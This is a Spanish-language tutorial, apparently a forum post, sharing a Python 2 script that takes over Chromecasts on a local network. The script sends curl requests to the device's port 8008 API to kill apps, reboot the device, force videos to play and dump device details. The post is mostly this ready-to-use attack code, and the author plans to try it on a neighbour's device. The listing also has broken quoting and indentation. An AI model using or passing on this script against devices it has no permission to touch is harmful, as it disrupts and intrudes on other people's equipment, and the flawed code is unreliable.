En este breve tutorial, les dejaré una tool que sirve para hackear chromecast aunque tengan pin.
Esta tool esta hecha en python, por lo que necesitarán tenerlo instalado en sus PCs.

Lo primero que deben hacer es instalar pip, para ello ejecutarán:

Código: Python

  1. sudo apt-get install python-pip

Una vez instalado, deberemos instalar una librería llamada PyChromecast, para ello ejecutamos el siguiente comando:

Código: Python
  1. sudo pip install PyChromecast

Finalmente, desde la consola y utilizando python, podrán ejecutar el script:

Código: Python
  1. import pychromecast
  2. import os
  3. while True:
  4.     menu = “””
  5. 1. Scan For Chromecasts
  6. 2. Kill Current Running App
  7. 3. Reboot Chromecast
  8. 4. Play Video
  9. 5. Get Rick Rolled 😉
  10. 6. Info about chromecast
  11.    “””
  12.     print menu
  13.     choose = raw_input(“>”)
  14.     if choose == “1”:
  15.         print “[*] Scanning…”
  16.         chromecasts = pychromecast.get_chromecasts()
  17.         myDevices = []
  18.         for device in chromecasts:
  19.             device.wait()
  20.             print(str(device))
  21.     elif choose == “2”:
  22.         ip = raw_input(“IP of Chrome Cast> “)
  23.         os.system(‘curl -H “Content-Type: application/json” http://%s:8008/apps/YouTube -X DELETE’ % (ip))
  24.     elif choose == “3”:
  25.         ip = raw_input(“IP of Chrome Cast> “)
  26.         os.system(‘curl -H “Content-Type: application/json” http://%s:8008/setup/reboot -d “{“params”:”now”}” -X POST’ % (ip))
  27.     elif choose == “4”:
  28.         ip = raw_input(“IP of Chrome Cast> “)
  29.         print “eg. v=dQw4w9WgXcQ”
  30.         video = raw_input(“Link> “)
  31.         os.system(‘curl -H “Content-Type: application/json” http://%s:8008/apps/YouTube -X POST -d “%s”‘ % (ip, video))
  32.        
  33.     elif choose == “5”:
  34.         ip = raw_input(“IP of Chrome Cast> “)
  35.         os.system(‘curl -H “Content-Type: application/json” http://%s:8008/apps/YouTube -X POST -d “v=dQw4w9WgXcQ”‘ % (ip))
  36.     elif choose == “6”:
  37.         ip = raw_input(“IP of Chrome Cast> “)
  38.         os.system(‘curl http://%s:8008/setup/eureka_info?options=detail | json_pp’ % (ip))
  39.     else:
  40. print “Error!”

Entre las opciones del script tenemos las siguientes:

Código: Text
  1. 1. Scan For Chromecasts
  2. 2. Kill Current Running App
  3. 3. Reboot Chromecast
  4. 4. Play Video
  5. 5. Get Rick Rolled 😉
  6. 6. Info about chromecast

No he podido testearlo a full porque no tengo un chromecast a mano, mi vecino tiene uno así que ya les dire un día de estos.

Repo: https://github.com/toxic-ig/ChromeCastHacking/